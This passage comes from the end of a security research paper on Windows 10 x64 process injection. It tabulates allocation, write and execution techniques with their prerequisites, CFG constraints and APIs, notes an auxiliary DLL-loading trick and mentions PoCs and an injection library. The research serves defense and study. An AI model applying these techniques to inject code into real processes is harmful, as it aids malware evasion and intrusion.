• Control over registers: no 

• Stability: since all memory writes are queued, and happen together, atomicity is not an 

issue.  

• Cleanup required: yes. The original thread state, stack and non-volatile registers need to 

be restored. 

 

Shatter-like Techniques 

There are 7 Shatter-like techniques: (WordWarping, Hyphentension, AutoCourgette, Streamception, 

Oleum, ListPLanting, Treepoline) described by Odzhan 

(https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/). Due to time 

shortage, we’re not providing analysis and PoCs here – this will be included in a future version of the 

paper and PINJECTRA. 

 

Summary of Techniques 

Memory Allocation 

Allocation Technique Memory Access CFG-valid? Stable? 

VirtualAllocEx RWX Yes Yes 

(allocated memory) 
Image (.data slack), 
Stack, Heap 

RW No .data slack – Yes, 
Stack/Heap – depends. 

NtMapViewOfSection RWX Yes Yes 

 

Memory Write 

(boldface APIs are target process oriented) 

https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/


Write Technique Prerequisites/Limitations Address 
control 

Stable? Main APIs used 

WriteProcessMemory None Full Yes OpenProcess, 
WriteProcessMemory 

Existing Shared 
Memory 

Process must have a RW 
Shared Memory section 

None May be 
unstable 

OpenFileMapping, 
MapViewOfFile, 
OpenProcess, 
VirtualQueryEx, 
ReadProcessMemory 

Atom Bombing Thread must be in 
alertable state 

Full Yes OpenThread, 
GlobalAtomAdd, 
ntdll!NtQueueApcThread 

NtMapViewOfSection Cannot write on allocated 
memory (e.g. Image, 
Stack, Heap) 

N/A Yes CreateFileMapping, 
MapViewOfFile, 
OpenProcess, 
ntdll!NtMapViewOfSection 

memset/memmove Thread must be in 
alertable state 

Full Yes  

 

Execution Techniques 

(boldface APIs are global or target process oriented) 

Execution 
method 

Famil
y 

Prerequisites/
Limitations 

CFG/C
IG 
constr
aints 

Controlled 
registers 

Cleanup/Sta
bility 

Main APIs used 

DLL 
injection via 
CreateRemo
teThread 

DLL 
innje
ction 

(1) DLL on 
disk; (2) DLL 
path in target 
process 
memory; (3) 
Loader lock 
restrictions 

(CIG) 
DLL 
must 
be 
MSFT-
signed
… 

None (N/A 
– runs 
native 
code) 

 OpenProcess+ 
CreateRemoteThread
/ 
OpenThread+ 
QueueUserAPC/ 
ntdll!NtQueueApcTh
read 

CreateRemo
teThread 

 Target address 
must be RX (at 
least) 

(CFG) 
Target 
addre
ss 
must 
be 
CFG-
valid 

RCX  OpenProcess, 
CreateRemoteThread 

APC  (1) Target 
address must 
be RX (at 
least); (2) 
Thread must 

(CFG) 
Target 
addre
ss 
must 

RCX (also 
RDX and R8 
for 
NtQueueAp
cThread) 

 OpenThread, 
QueueUserAPC/ 
ntdll!NtQueueApcTh
read 



be in alertable 
state 
 

be 
CFG-
valid 

Thread 
execution 
hijacking 

 Target address 
must be RX (at 
least).  

(CFG) 
RSP (if 
set) 
must 
be 
within 
stack 
limits 

All non 
volatile 
registers, in 
some cases 
also volatile 
registers 

Cleanup 
needed in 
order for the 
original 
thread to 
resume 
execution 

OpenThread, 
SuspendThread, 
ResumeThread, 
SetThreadContext 

Windows 
hook 

DLL 
inject
ion 

(1) DLL on 
disk; (2) target 
process must 
have 
user32.dll 
loaded (and a 
message loop 
thread) 

(CIG) 
DLL 
must 
be 
MSFT-
signed
… 

None (N/A 
– runs 
native 
code) 

 SetWindowsHookEx 

Ghost-
writing 

 Target address 
must be RX (at 
least) 

None All non 
volatile 
registers, in 
some cases 
also volatile 
registers 

Cleanup 
needed in 
order for the 
original 
thread to 
resume 
execution. 
May be 
tricky! 

OpenThread, 
GetThreadContext, 
SetThreadContext, 
SuspendThread, 
ResumeThread 

SetWindow
Long/ 
SetWindow
LongPtr 

Switc
h 
virtua
l 
table 
and 
trigge
r 

(1) A window 
belonging to 
the target 
process, that 
uses the extra 
window bytes 
to store a 
pointer to an 
object with a 
virtual 
function table. 
Specifically, 
explorer’s 
Shell Tray 
Window uses 
the first 8 
extra window 
bytes to store 
a pointer to a 
CTray object; 

(CFG) 
Target 
addre
ss 
must 
be 
CFG-
valid 

None Cleanup 
needed: the 
original 
CTray object 
must be 
restored, 
and special 
consideratio
n must be 
given for the 
return state 
from the 
function 
 

FindWindow/OpenW
indow, 
SetWindowLong/Set
WindowLongPtr 



(2) Target 
address must 
be RX (at least) 

Unmap+ove
rwrite 

 Target address 
must be RX (at 
least) 

None None (N/A 
– runs 
native 
code) 

Stability: 
code should 
take care to 
retain the 
state of the 
module’s 
static 
variables (it’s 
impossible 
to unmap 
partial 
module 
memory), 
and flush the 
instruction 
cache. This 
needs to be 
done while 
the target 
process is 
suspended. 
This requires 
a memory 
read 
primitive 
(e.g. 
ReadProcess
Memory), 
and process 
suspend+res
ume. 
 

OpenProcess, 
ntdll!NtUnmapView
OfSection, 
ntdll!NtSuspendProc
ess, 
ntdll!ResumeProcess
, 
FlushInstructionCach
e, 
ReadProcessMemory 

PROPagate Switc
h 
virtua
l 
table 
and 
trigge
r 

(1) A window 
belonging to 
the target 
process, that is 
subclassed. 
Specifically, 
one of 
Explorer’s 
System Tray 
sub-windows 
is subclassed; 
(2) Target 

(CFG) 
Target 
addre
ss 
must 
be 
CFG-
valid 

None Cleanup: The 
original 
subclass 
structure 
needs to be 
restored. 

FindWindow/OpenW
indow, 
GetProp, SetProp, 
ReadProcessMemoe
y 
 



address must 
be RX (at least) 

Kernel 
Callback 
Table 

Switc
h 
virtua
l 
table 
and 
trigge
r 

(1) Target 
process must 
own a 
window; (2) 
Target address 
must be RX (at 
least) 
 

(CFG) 
Target 
addre
ss 
must 
be 
CFG-
valid 

None The original 
kernel 
callback 
table must 
be restored. 

FindWIndow/OpenW
indow (or similar), 
OpenProcess, 
ntdll!NtQueryInformatio
nProcess, 
SendMessage 

Ctrl-Inject Switc
h 
virtua
l 
table 
and 
trigge
r 

(1) Console 
application; (2) 
Target address 
must be RX (at 
least) 
 

(CFG) 
Target 
addre
ss 
must 
be 
CFG-
valid 

None The original 
Ctrl-C 
handler 
must be 
restored, 
also the key 
pressed 
must be 
released. 

OpenProcess, 
ntdll!RtlEncodeRemo
tePointer, 
SendInput, 
PostMessage 

Service 
Control 

Over
write 
virtua
l 
table 
and 
trigge
r 

(1) Target 
process must 
be a service; 
(2) Target  
address must 
be RX (at least) 

(CFG) 
Target 
addre
ss 
must 
be 
CFG-
valid 

None (Probably) 
restore the 
original 
handler 

OpenSCManager, 
OpenService, 
OpenProcess, 
ControlService, 
VirtualQueryEx, 
ReadProcessMemory 

USERDATA Switc
h 
virtua
l 
table 
and 
trigge
r 

(1) Console 
application; (2) 
Target address 
must be RX (at 
least) 
 

(CFG) 
Target 
addre
ss 
must 
be 
CFG-
valid 

None The original 
dispatch 
table pointer 
must be 
restored. 

OpenProcess,  

FindWindow/OpenW
indow (or similar) 

GetWindowLongPtr, 
SendMessage 

ALPC 
callback 

Over
write 
virtua
l 
table 
and 
trigge
r 

(1) Target 
process must 
have open 
ALPC port; (2) 
Target  
address must 
be RX (at least) 

(CFG) 
Target 
addre
ss 
must 
be 
CFG-
valid 

None Restore the 
original 
callback 

OpenProcess, 
VirtualQueryEx, 
NtDuplicateObject, 
NtConnectPort, 
ReadProcessMemory 

WNF 
callback 

Over
write 
virtua
l 

(1) Target 
process must 
use WNF; (2) 
Target  

(CFG) 
Target 
addre
ss 

R9? Restore the 
original 
callback 

OpenProcess, 
ReadProcessMemory, 
NtUpdateWnfStateData 



table 
and 
trigge
r 

address must 
be RX (at least) 

must 
be 
CFG-
valid 

Stack 
Bombing 

 (1) Target 
address must 
be RX (at 
least); (2) 
Thread must 
be in alertable 
state 
 

None None Cleanup: The 
original 
thread stack 
and registers 
need to be 
restored. 
This is easy 
with the 5 
alertable 
functions. 

OpenThread, 
GetThreadContext, 
SetThreadContext, 
ntdll!NtQueueApcTh
read 

 

 

Auxiliary technique 

During our research, we discovered an auxiliary technique that can be helpful for future injection attack 

development. This technique loads a system DLL into the target process, without writing its path to the 

process. 

Sometimes, it may be necessary to forcibly load a system DLL into a process, e.g. when a ROP gadget is 

needed from such DLL. Generally, an execution method with target LoadLibraryA can be used to load a 

DLL, provided the DLL path is in memory. Interestingly, kernelbase.dll contains a list of 1000+ system 

DLLs (as NUL-terminated strings). So arbitrary system DLL loading is possible even without prior write 

primitive. This list can be found in kernelbase!g_DllMap+8, which is a pointer to an array of structures, 

each structure is 3 QWORDs, the first one points to a string which is a DLL name (ASCII, NUL-

terminated). The strings populate a consecutive area in the .rdata section, wherein each string is 8-byte 

aligned. 

 

PoCs and Library 

All the above PoCs are available at our GIT repository.  Additionally, we provide “full exploitation” PoCs 

which demonstrate execution (MessageBox) for all techniques. Finally, we also provide a unique offering 

in the form of a “mix and match” C++ class library (code name PINJECTRA), so the library’s user can 

construct process injections by combining compatible write primitives with execution methods. This is 

the first such offering. 

 

Conclusions 



This paper fills a major gap in documentation, analysis, update and comparison of true process injection 

techniques for Windows 10 x64. Additionally, this paper presents a novel technique for writing data to 

memory, and a related technique for execution, both unaffected by all Windows 10 process protection 

methods.  

All techniques are offered as a barebone PoCs and as interchangeable classes in a library which allows 

“mix and match” style process injection coding. 
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